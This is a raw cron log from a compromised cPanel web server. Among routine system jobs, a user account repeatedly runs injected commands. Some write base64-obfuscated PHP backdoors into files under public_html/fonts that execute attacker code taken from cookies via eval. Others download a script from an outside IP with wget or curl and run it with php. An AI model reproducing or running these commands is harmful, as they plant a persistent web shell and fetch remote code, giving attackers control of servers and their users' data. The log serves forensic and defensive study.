Aug 30 15:19:01 ip-184-168-122-23 CROND[1668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:19:01 ip-184-168-122-23 CROND[1670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:20:01 ip-184-168-122-23 CROND[1766]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:20:01 ip-184-168-122-23 CROND[1768]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 15:20:01 ip-184-168-122-23 CROND[1772]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 15:20:01 ip-184-168-122-23 CROND[1771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:20:01 ip-184-168-122-23 CROND[1773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:20:01 ip-184-168-122-23 CROND[1770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:20:01 ip-184-168-122-23 CROND[1775]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 15:20:01 ip-184-168-122-23 CROND[1774]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 15:20:01 ip-184-168-122-23 CROND[1777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:21:01 ip-184-168-122-23 CROND[1873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:21:01 ip-184-168-122-23 CROND[1875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:21:01 ip-184-168-122-23 CROND[1876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:21:01 ip-184-168-122-23 CROND[1877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:22:01 ip-184-168-122-23 CROND[2039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:22:01 ip-184-168-122-23 CROND[2040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:22:01 ip-184-168-122-23 CROND[2041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:22:01 ip-184-168-122-23 CROND[2042]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:22:01 ip-184-168-122-23 CROND[2047]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:23:02 ip-184-168-122-23 CROND[2123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:23:02 ip-184-168-122-23 CROND[2122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:23:02 ip-184-168-122-23 CROND[2124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:23:02 ip-184-168-122-23 CROND[2125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:24:01 ip-184-168-122-23 CROND[2204]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:24:01 ip-184-168-122-23 CROND[2209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:24:01 ip-184-168-122-23 CROND[2210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:24:02 ip-184-168-122-23 CROND[2212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:24:02 ip-184-168-122-23 CROND[2214]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:25:01 ip-184-168-122-23 CROND[2320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:25:01 ip-184-168-122-23 CROND[2321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:25:01 ip-184-168-122-23 CROND[2324]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 15:25:01 ip-184-168-122-23 CROND[2325]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 15:25:01 ip-184-168-122-23 CROND[2328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:25:01 ip-184-168-122-23 CROND[2326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:26:01 ip-184-168-122-23 CROND[2424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:26:01 ip-184-168-122-23 CROND[2426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:26:01 ip-184-168-122-23 CROND[2427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:26:01 ip-184-168-122-23 CROND[2430]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:26:01 ip-184-168-122-23 CROND[2428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:27:02 ip-184-168-122-23 CROND[2594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:27:02 ip-184-168-122-23 CROND[2595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:27:02 ip-184-168-122-23 CROND[2596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:27:02 ip-184-168-122-23 CROND[2597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:28:01 ip-184-168-122-23 CROND[2673]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:28:01 ip-184-168-122-23 CROND[2675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:28:01 ip-184-168-122-23 CROND[2676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:28:01 ip-184-168-122-23 CROND[2677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:28:01 ip-184-168-122-23 CROND[2678]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:29:01 ip-184-168-122-23 CROND[2770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:29:01 ip-184-168-122-23 CROND[2771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:29:01 ip-184-168-122-23 CROND[2774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:29:01 ip-184-168-122-23 CROND[2772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:30:01 ip-184-168-122-23 CROND[2874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:30:01 ip-184-168-122-23 CROND[2876]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 15:30:01 ip-184-168-122-23 CROND[2880]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 15:30:01 ip-184-168-122-23 CROND[2877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 15:30:01 ip-184-168-122-23 CROND[2878]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 15:30:01 ip-184-168-122-23 CROND[2879]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 15:30:01 ip-184-168-122-23 CROND[2883]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:30:01 ip-184-168-122-23 CROND[2882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 15:31:01 ip-184-168-122-23 CROND[2989]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 15:31:01 ip-184-168-122-23 CROND[2992]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 15:31:01 ip-184-168-122-23 CROND[2994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 15:31:01 ip-184-168-122-23 CROND[2993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
